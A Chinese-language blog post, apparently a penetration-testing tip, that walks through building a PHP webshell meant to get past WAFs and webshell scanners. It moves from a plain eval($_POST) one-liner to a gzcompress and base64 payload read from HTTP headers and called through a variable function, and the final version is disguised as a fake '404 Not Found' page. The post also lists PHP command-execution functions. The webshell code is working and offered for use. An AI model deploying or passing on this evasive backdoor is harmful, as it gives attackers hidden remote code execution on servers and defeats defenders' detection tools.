渗透测试小技巧之过waf木马

在研究webshell查杀的时候,学习别人怎么绕waf的思路,今天发现一个很6的函数(至少之前我是没见过),然后结合之前写访问日志记录文件时用到的方法,very perfect!

Once step

普通一句话木马:

1
<?php eval($_POST['caidao']);?>

Second step

首先大家看下这个东西:

不知道大家看到这个字符串会有啥想法,反正说实话,之前我肯定不会太在意。看下源码:

1
2
3
4
$compressed = gzcompress('<?php eval($_POST[\'caidao\']);?>', 9);
$uncompressed = gzuncompress($compressed);
echo $compressed;
?>

Third step

那么重点来了!

我要说的就是gzcompress这个函数。然后我又查了查相关资料,找到了PHP中具有相同功能的函数还有两个:gzdeflategzencode

科普下:

1
2
3
4
5
6
7
8
9
10
11
12
13
压缩函数:gzcompress gzdeflate gzencode
解压函数:gzuncompress gzinflate gzdecode
gzdecodePHP 5.4.0之后才加入的,使用的时候要注意兼容性问题。
这几个函数都以gz开头,让人想到gzip压缩,而光看函数名却又看不出它们之间的区别,只能查文档。
gzcompress gzdeflate gzencode函数的区别在于它们压缩的数据格式不同:
gzcompress使用的是ZLIB格式;
gzdeflate使用的是纯粹的DEFLATE格式;
gzencode使用的是GZIP格式;
其实从PHP 5.4.0开始,这三个函数是一样的,只不过第三个参数的默认值不同;如果调用时传入第三个参数,那么这三个函数返回的数据相同。
有兴趣的自己在找找吧

Fourth step

写个生成密文的文件。

考虑到可能字符显示不全,无法识别等原因,再套一层base64。

1
2
3
4
5
6
if(isset($_POST['str'])){
$str = $_POST['str'];
$compressed = base64_encode(gzcompress($str, 9));
echo $compressed;
}
?>

Fifth step

结合访问日志记录用到的getallheaders函数,最终的webshell如下:

1
<?php eval(gzuncompress(base64_decode(getallheaders()['w2n1ck'])));>

用D盾查一下

虽然级别是小于3,但是说明里面显示可能eval后门,所以要去掉这个,在变形下:

1
<?php $w2n1ck1=gzuncompress(base64_decode(getallheaders()['cai']));$w2n1ck1(gzuncompress(base64_decode(getallheaders()['dao'])));>

看下webshell可用性

这里注意下,使用eval的话会报错,具体的原因请查看错误详情

在安利下命令执行的一些函数:

1
'`',eval,assert,exec,passthru,shell_exec,system,putenv,preg_replace,pcntl_exec,popen,proc_open

Sixth step

再用D盾检测下

还是可疑啊,那行再伪造伪造下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
$cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>
</body></html>

再检测下:


360 5引擎检测下

very perfect!

如果觉得自己添加头麻烦可疑使用自带的请求头字段:

1
2
3
getallheaders()['Accept-Language']
getallheaders()['User-Agent']
getallheaders()['Accept']

大爷,赏个铜板呗!